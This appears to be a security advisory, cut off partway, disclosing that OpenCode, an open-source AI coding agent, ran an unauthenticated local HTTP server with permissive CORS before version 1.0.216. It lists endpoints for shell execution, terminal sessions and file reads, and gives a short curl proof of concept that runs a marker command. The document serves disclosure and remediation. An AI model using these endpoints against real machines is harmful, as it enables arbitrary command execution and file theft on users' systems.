Affected: anomalyco opencode

OpenCode is an open source AI coding agent. Prior to 1.0.216, OpenCode automatically starts an unauthenticated HTTP server that allows any local process (or any website via permissive CORS) to execute arbitrary shell commands with the user's privileges. This vulnerability is fixed in 1.0.216.

Affected: npm: opencode-ai

*Previously reported via email to support@sst.dev on 2025-11-17 per the security policy in [opencode-sdk-js/SECURITY.md](https://github.com/sst/opencode-sdk-js/blob/main/SECURITY.md). No response received.*

### Summary

OpenCode automatically starts an unauthenticated HTTP server that allows any local process—or any website via permissive CORS—to execute arbitrary shell commands with the user's privileges.

### Details

When OpenCode starts, it spawns an HTTP server (default port 4096+) with no authentication. Critical endpoints exposed:

- `POST /session/:id/shell` - Execute shell commands (`server.ts:1401`) - `POST /pty` - Create interactive terminal sessions (`server.ts:267`) - `GET /file/content?path=` - Read arbitrary files (`server.ts:1868`)

The server is started automatically in `cli/cmd/tui/worker.ts:36` via `Server.listen()`.

No authentication middleware exists in `server/server.ts`. The server uses permissive CORS (`.use(cors())` with default `Access-Control-Allow-Origin: *`), enabling browser-based exploitation.

### PoC

**Local exploitation:**

```bash API="http://127.0.0.1:4096" # update with actual port SESSION_ID=$(curl -s -X POST "$API/session" -H "Content-Type: application/json" -d '{}' | jq -r '.id') curl -s -X POST "$API/session/$SESSION_ID/shell" -H "Content-Type: application/json" \ -d '{"agent": "build", "command": "echo PWNED > /tmp/pwned.txt"}' cat /tmp/pwned.txt # outputs: PWNED ```

**Browser-based exploitation:**

A malicious website can ex…